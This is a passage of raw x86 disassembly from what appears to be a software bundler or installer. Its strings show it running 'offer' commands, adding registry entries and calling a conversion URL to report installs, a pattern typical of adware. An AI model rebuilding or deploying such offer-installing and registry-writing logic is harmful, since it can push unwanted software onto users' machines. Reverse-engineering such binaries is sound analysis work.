jne 0x41859d
mov edi, dword [ebp - 0x4c]
mov edx, dword [edi]
mov eax, dword [ebp - 0x88]
lea ecx, [edx + eax + 0x5bae8]
push str._cmd:
push ecx
lea edx, [ebp - 0x8c]
push edx
call fcn.0041bb80
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
push eax
lea edx, [ebp - 0x7c]
push edx
mov byte [ebp - 4], 0x5e
call fcn.0041bac0
add esp, 0xc
push 0x5b1ac4
push eax
lea eax, [ebp - 0x74]
push eax
mov byte [ebp - 4], 0x5f
call fcn.0041bb80
add esp, 0xc
lea ecx, [ebp - 0x60]
push ecx
push eax
lea edx, [ebp - 0x5c]
push edx
mov byte [ebp - 4], 0x60
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x62
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418491
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x63
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4184b4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov bl, 0x64
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4184db
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0x90]
call fcn.00401d90
mov esi, eax
push 0x5b1ae8
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x65
call fcn.00401d90
push esi
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x84]
push edx
push eax
mov byte [ebp - 4], 0x66
mov eax, dword [edi]
add eax, 0x16c
push eax
lea ecx, [ebp - 0x9c]
push ecx
mov ecx, 1
call fcn.004392c0
mov byte [ebp - 4], 0x65
mov eax, dword [ebp - 0x94]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x418551
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418576
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x5d
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
mov byte [ebp - 0x4e], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41859d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4185c0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str.____Executing_offer_command:
lea ecx, [ebp - 0x7c]
call fcn.00401d90
lea ecx, [ebp - 0x6c]
push ecx
push eax
lea edx, [ebp - 0x74]
mov bl, 0x67
push edx
mov byte [ebp - 4], bl
call fcn.0041bac0
add esp, 0xc
mov esi, eax
mov byte [ebp - 4], 0x68
call fcn.00434f10
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418610
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x37
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418633
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x64], 0
call fcn.00401d90
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x69
call fcn.0043c280
test al, al
je 0x418e1b
cmp byte [ebp - 0x4d], 0
jne 0x418e11
push str.____Command_succeded._Calling__conversion_URL.
lea ecx, [ebp - 0x74]
call fcn.00401d90
mov esi, eax
mov byte [ebp - 4], 0x6a
call fcn.00434f10
mov byte [ebp - 4], 0x69
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4186a7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ecx]
mov edx, dword [ebp - 0x88]
cmp dword [eax + edx + 0x5c970], 0
mov dword [ebp - 0x78], 0
jle 0x418b61
mov ebx, edx
mov dword [ebp - 0x54], ebx
lea esp, [esp]
mov eax, dword [ebx + eax + 0x5c8d4]
sub eax, 0x10
push eax
call fcn.00405320
add esp, 4
add eax, 0x10
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x6b
mov ecx, str.REG_SZ
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x418718
test dx, dx
je 0x418714
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x418718
add eax, 4
add ecx, 4
test dx, dx
jne 0x4186f2
xor eax, eax
jmp 0x41871d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x418b19
mov edi, dword [ebp - 0x4c]
mov eax, dword [edi]
lea eax, [ebx + eax + 0x5c8d0]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00405320
lea esi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x8c], esi
mov byte [ebp - 4], 0x6c
mov ecx, dword [edi]
lea eax, [ebx + ecx + 0x5c8d8]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00405320
lea edi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x94], edi
mov edx, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x6d
mov eax, dword [edx]
lea eax, [ebx + eax + 0x5c8dc]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00405320
add eax, 0x10
add esp, 4
mov dword [ebp - 0x90], eax
add eax, 0xfffffff0
mov byte [ebp - 4], 0x6e
push eax
mov dword [ebp - 0x60], eax
call fcn.00405320
add eax, 0x10
add esp, 4
mov dword [ebp - 0x5c], eax
add edi, 0xfffffff0
mov byte [ebp - 4], 0x6f
push edi
mov dword [ebp - 0xd0], edi
call fcn.00405320
lea edi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x74], edi
add esi, 0xfffffff0
mov byte [ebp - 4], 0x70
push esi
mov dword [ebp - 0x70], esi
call fcn.00405320
lea esi, [eax + 0x10]
add esp, 4
mov dword [ebp - 0x7c], esi
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x7c]
push edx
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 0x71
call fcn.0043d1b0
mov byte [ebp - 0x4d], al
lea eax, [esi - 0x10]
mov byte [ebp - 4], 0x70
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418818
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0x6f
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418838
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x6e
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41885b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp byte [ebp - 0x4d], 0
jne 0x418ab6
push str._value:
lea ecx, [ebp - 0xe8]
call fcn.00401d90
mov esi, eax
push str._Key:
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x72
call fcn.00401d90
push eax
lea ecx, [ebp - 0x8c]
push ecx
lea edx, [ebp - 0xa4]
push edx
mov byte [ebp - 4], 0x73
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x94]
push ecx
push eax
lea edx, [ebp - 0xac]
push edx
mov byte [ebp - 4], 0x74
call fcn.0041bac0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0xb0]
push eax
mov byte [ebp - 4], 0x75
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x90]
push ecx
push eax
lea edx, [ebp - 0x98]
push edx
mov byte [ebp - 4], 0x76
call fcn.0041bac0
add esp, 0xc
mov esi, eax
push str.Error_adding_registry_entry.
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x77
call fcn.00401d90
mov ebx, eax
push 0x5b1c00
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 0x78
call fcn.00401d90
mov edi, eax
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x79
mov eax, dword [eax]
mov eax, dword [eax + 0x294]
sub eax, 0x10
push eax
call fcn.00405320
add eax, 0x10
add esp, 4
mov dword [ebp - 0x5c], eax
push esi
push ebx
push edi
lea ecx, [ebp - 0x5c]
push ecx
lea edx, [ebp - 0x9c]
push edx
mov ebx, 1
mov byte [ebp - 4], 0x7a
call fcn.00435800
mov byte [ebp - 4], 0x79
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41897f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x78
mov eax, dword [ebp - 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4189a5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x77
mov eax, dword [ebp - 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4189cb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x76
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4189f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x75
mov eax, dword [ebp - 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418a17
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x74
mov eax, dword [ebp - 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418a3d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x73
mov eax, dword [ebp - 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418a63
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x72
mov eax, dword [ebp - 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418a89
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x6e
mov eax, dword [ebp - 0xe8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418aaf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ebx, dword [ebp - 0x54]
mov byte [ebp - 0x4e], 0
mov eax, dword [ebp - 0x60]
mov byte [ebp - 4], 0x6d
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418ad6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x6c
mov eax, dword [ebp - 0xd0]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418af9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x6b
mov eax, dword [ebp - 0x70]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418b19
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x69
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418b3c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x78]
mov eax, dword [edx]
mov edx, dword [ebp - 0x88]
inc ecx
add ebx, 0x10
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x54], ebx
cmp ecx, dword [eax + edx + 0x5c970]
jl 0x4186d0
cmp byte [ebp - 0x4e], 1
jne 0x418e11
mov eax, dword [ebp - 0x64]
test eax, eax
je 0x418b7b
cmp eax, 0x65
jne 0x418e11
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x418b95
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x5c], eax
lea esi, [ebp - 0x44]
call fcn.00453070
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x7c
call fcn.00404e00
mov ecx, eax
call fcn.00404e80
mov ecx, dword [eax]
cmp dword [ecx - 0xc], 0
jle 0x418c83
push str.Send_Offer_Conversion_Notice
lea edx, [ebp - 0x5c]
push edx
mov edx, dword [ebp - 0xe0]
mov ecx, esi
call fcn.00453460
test eax, eax
jne 0x418c83
push 0x5b0bc8
lea ecx, [ebp - 0x70]
call fcn.00401d90
mov esi, eax
mov bl, 0x7d
push 0x5b1c44
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.00401d90
push esi
lea ecx, [ebp - 0xd8]
push ecx
lea edx, [ebp - 0x84]
push edx
push eax
mov eax, dword [ebp - 0x4c]
mov byte [ebp - 4], 0x7e
mov ecx, dword [eax]
add ecx, 0x16c
push ecx
lea edx, [ebp - 0x9c]
push edx
mov ecx, 1
call fcn.004392c0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418c60
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x7c
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418c83
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0xd0]
call fcn.00401d90
mov esi, eax
push 0x5b0f34
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x7f
call fcn.00401d90
mov edi, eax
mov bl, 0x80
push 0x5b1c4c
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.00401d90
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x88]
push esi
mov byte [ebp - 4], 0x81
mov ecx, dword [ecx]
lea edx, [ecx + edx + 0x5bae8]
push edx
push edi
push eax
add ecx, 0x16c
push ecx
lea eax, [ebp - 0x9c]
push eax
mov ecx, 1
call fcn.004392c0
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418d0e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x7f
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418d31
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x7c
mov eax, dword [ebp - 0xd0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418d57
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b1974
lea ecx, [ebp - 0x70]
call fcn.00401d90
mov esi, eax
mov bl, 0x82
push 0x5b0bc8
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], bl
call fcn.00401d90
mov ecx, dword [ebp - 0x4c]
push esi
push eax
mov byte [ebp - 4], 0x83
mov ecx, dword [ecx]
lea edx, [ebp - 0x84]
push edx
lea eax, [ecx + 0x170]
push eax
add ecx, 0x294
push ecx
call fcn.00437350
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418dbf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x7c
mov eax, dword [ebp - 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418de2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x7b
call fcn.00453120
mov byte [ebp - 4], 0x69
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x418e11
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [ebp - 0x64], 0
je 0x41943b
mov edx, dword [ebp - 0x64]
push 0xa
lea ecx, [ebp - 0x34]
push ecx
push edx
call fcn.0056ee1a
add esp, 0xc
call fcn.0046aab1
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x418e47
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x78], eax
lea esi, [ebp - 0x78]
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 0x84
call fcn.004271b0
push 0x5b0bc8
lea ecx, [ebp - 0x60]
call fcn.00401d90
lea ecx, [ebp - 0x80]
push ecx
lea edi, [ebp - 0x60]
mov byte [ebp - 4], 0x85
call fcn.00428780
push str.____Command_failed_or_canceled_by_user.
lea ecx, [ebp - 0x68]
call fcn.00401d90
mov esi, eax
mov byte [ebp - 4], 0x86
call fcn.00434f10
mov byte [ebp - 4], 0x85
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x418ebd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push str._md5:
lea ecx, [ebp - 0xbc]
call fcn.00401d90
mov esi, eax
push str._fileinfo:
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x87
call fcn.00401d90
mov edi, eax
push 0x5b1ac4
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x88
call fcn.00401d90
mov ebx, eax
lea ecx, [ebp - 0x34]
push ecx
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0x89
call fcn.0041b840
mov dword [ebp - 0xd0], eax
push str._ret_code:
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x8a
call fcn.00401d90
mov dword [ebp - 0x70], eax
push str._cmd:
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0x8b
call fcn.00401d90
mov dword [ebp - 0x68], eax
mov edx, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x88]
mov byte [ebp - 4], 0x8c
mov eax, dword [edx]
lea eax, [eax + ecx + 0x5bae8]
mov eax, dword [eax]
sub eax, 0x10
push eax
call fcn.00405320
add eax, 0x10
add esp, 4
mov dword [ebp - 0x5c], eax
mov byte [ebp - 4], 0x8d
mov edx, dword [ebp - 0x68]
push edx
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x98]
push ecx
call fcn.0041bac0
add esp, 0xc
lea edx, [ebp - 0x6c]
push edx
push eax
lea eax, [ebp - 0xcc]
push eax
mov byte [ebp - 4], 0x8e
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x8f
mov ecx, dword [ebp - 0x70]
push ecx
push eax
lea edx, [ebp - 0xd4]
push edx
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x90
mov ecx, dword [ebp - 0xd0]
push ecx
push eax
lea edx, [ebp - 0x90]
push edx
call fcn.0041bac0
add esp, 0xc
push ebx
push eax
lea eax, [ebp - 0x94]
push eax
mov byte [ebp - 4], 0x91
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
push eax
lea edx, [ebp - 0x8c]
push edx
mov byte [ebp - 4], 0x92
call fcn.0041bac0
add esp, 0xc
push edi
push eax
lea eax, [ebp - 0x7c]
push eax
mov byte [ebp - 4], 0x93
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x78]
push ecx
push eax
lea edx, [ebp - 0x74]
push edx
mov byte [ebp - 4], 0x94
call fcn.0041bac0
add esp, 0xc
push esi
push eax
lea eax, [ebp - 0xe8]
push eax
mov byte [ebp - 4], 0x95
call fcn.0041bac0
add esp, 0xc
lea ecx, [ebp - 0x60]
push ecx
push eax
lea edx, [ebp - 0x64]
push edx
mov byte [ebp - 4], 0x96
call fcn.0041bac0
add esp, 0xc
mov byte [ebp - 4], 0x98
mov eax, dword [ebp - 0xe8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419073
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x99
mov eax, dword [ebp - 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419096
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9a
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4190b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9b
mov eax, dword [ebp - 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4190df
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9c
mov eax, dword [ebp - 0x94]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419105
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9d
mov eax, dword [ebp - 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41912b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9e
mov eax, dword [ebp - 0xd4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419151
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0x9f
mov eax, dword [ebp - 0xcc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419177
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa0
mov eax, dword [ebp - 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41919d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa1
mov eax, dword [ebp - 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4191c0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa2
mov eax, dword [ebp - 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4191e6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa3
mov eax, dword [ebp - 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41920c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa4
mov eax, dword [ebp - 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419232
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa5
mov eax, dword [ebp - 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x419258
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa6
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41927b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 0xa7
mov eax, dword [ebp - 0xbc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4192a1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x5b0bc8
lea ecx, [ebp - 0x70]
call fcn.00401d90
mov esi, eax
push 0x5b1cc4
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0xa8
call fcn.00401d90
mov ebx, dword [ebp - 0x4c]
push esi
lea ecx, [ebp - 0x64]
push ecx
lea edx, [ebp - 0x84]
push edx
push eax
mov byte [ebp - 4], 0xa9
mov eax, dword [ebx]
add eax, 0x16c
push eax
lea ecx, [ebp - 0x9c]
push ecx
mov ecx, 1
call fcn.004392c0
mov byte [ebp - 4], 0xa8
mov eax, dword [ebp - 0x68]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
